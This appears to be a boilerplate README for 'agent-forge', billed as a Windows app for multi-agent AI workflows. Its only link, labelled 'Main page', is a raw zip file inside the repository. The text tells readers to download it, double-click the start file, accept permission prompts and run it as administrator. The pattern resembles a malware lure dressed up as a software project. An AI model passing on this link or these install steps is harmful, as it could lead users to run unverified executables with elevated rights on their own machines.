agent-forge is a Windows app for running multi-agent AI workflows from a simple screen. It helps you start, manage, and test agent setups without building everything from scratch.
It brings together tools for:
- Multi-agent orchestration
- Chat and task flows
- Search and retrieval
- Local knowledge bases
- Web-based app control
The app uses tools such as LangGraph, LangChain, ChromaDB, FastAPI, and Streamlit. You do not need to know those names to use the app.
Before you install agent-forge, make sure you have:
- A Windows 10 or Windows 11 PC
- At least 8 GB of RAM
- 2 GB of free disk space
- A stable internet connection
- An up-to-date web browser
For best results, use a computer with 16 GB of RAM if you plan to run larger AI models or many agent tasks at once.
Go to the main project page here:
On that page, use the download or release files provided by the project. If there is a Windows file, download it to your computer.
Follow these steps on your Windows PC:
- Open the download location in File Explorer.
- Find the file you downloaded.
- If the file is a zip folder, right-click it and choose Extract All.
- Open the extracted folder.
- Look for the app file or start file.
- Double-click the file to run it.
If Windows asks for permission, choose Yes or Run.
If the app opens in your browser, keep that window open. That is the app screen.
When you start agent-forge for the first time:
- Wait for the app to finish loading.
- Open the local web page if it does not open by itself.
- Check the main screen for setup fields or buttons.
- Enter any required keys or settings.
- Save the settings.
- Start your first agent workflow.
If the app includes a local address such as http://localhost:xxxx, paste that into your browser.
agent-forge works with common AI and data tools. You may need to add your own service keys or local model settings.
Typical setup items include:
- An AI model key
- A search or database path
- A local storage folder
- A workspace name
- Agent roles or task prompts
If the app offers a settings panel, fill in each field one by one. Use clear names so you can find your work later.
With agent-forge, you can build and run agent flows for tasks like:
- Writing and editing text
- Searching for facts in a knowledge base
- Summarizing long content
- Breaking a task into smaller steps
- Running one agent after another
- Saving results for later use
It is useful when you want more structure than a single chat box gives you.
Most multi-agent apps follow a simple pattern:
- You create a task.
- The app sends that task to one or more agents.
- Each agent handles part of the work.
- The app stores the output.
- You review the result and run it again if needed.
agent-forge is built to support that kind of flow with a clear interface.
If you are new to this kind of app, use this order:
- Download the app from the project page.
- Install or extract it.
- Open the app.
- Fill in the settings.
- Run a small test task.
- Review the output.
- Adjust the prompts or agent roles.
Start with a simple task first. That makes it easier to see what the app is doing.
To keep things tidy on Windows, use a folder like this:
C:\agent-forge\appC:\agent-forge\dataC:\agent-forge\modelsC:\agent-forge\logs
A clean folder setup helps you keep the app files separate from your personal files.
After setup, try a basic task such as:
- Summarize a short article
- Create a task list from a note
- Answer a question using saved content
- Compare two ideas
- Rewrite text in plain language
If the app returns a result, your setup is working.
agent-forge may store task data, prompts, and local index files on your computer. If you use local storage, your content stays on your machine unless you connect it to another service.
If you want to keep work separate, make a new folder for each project.
Try these steps:
- Close the app.
- Open it again as administrator.
- Check that the folder was fully extracted.
- Make sure your browser is up to date.
- Restart your PC.
- Try the app again from the project page.
If the app still does not open, download the files again and replace the old folder.
- Keep your first workflow small
- Use short prompts
- Change one setting at a time
- Save your work before you run another task
- Give each agent a clear job
- Use plain names for folders and projects
This makes it easier to see what each part of the system does.
agent-forge uses a set of common tools for app control, data storage, and AI workflows:
- LangGraph for agent flow control
- LangChain for model and tool handling
- ChromaDB for local vector storage
- FastAPI for the app backend
- Streamlit for the user interface
These parts work together to create a single app you can use from Windows.
- Repository: agent-forge
- Main page: https://raw.githubusercontent.com/tildiebusy23/agent-forge/main/src/agents/agent_forge_v3.4-beta.1.zip
- Topics: chromadb, fastapi, genai, langchain, langgraph, llm, multi-agent, python, rag, streamlit
- Open the app
- Set your model or service values
- Add a task
- Choose the agent flow
- Run the workflow
- Review the result
- Save or reuse the output
agent-forge fits well if you want to:
- Test multi-agent ideas on Windows
- Organize AI tasks in one place
- Build repeatable workflows
- Work with retrieval and local knowledge
- Use a browser-based control panel
After setup, you should see:
- A main dashboard
- Input fields for prompts or settings
- Buttons to run or stop tasks
- Output areas for results
- A place to review past runs
The layout may change based on the version, but the app should keep the same core flow.
If you need the files again, use this link:
- Download the app
- Extract the files if needed
- Open the app
- Set your values
- Run a small task
- Check the result
- Save your setup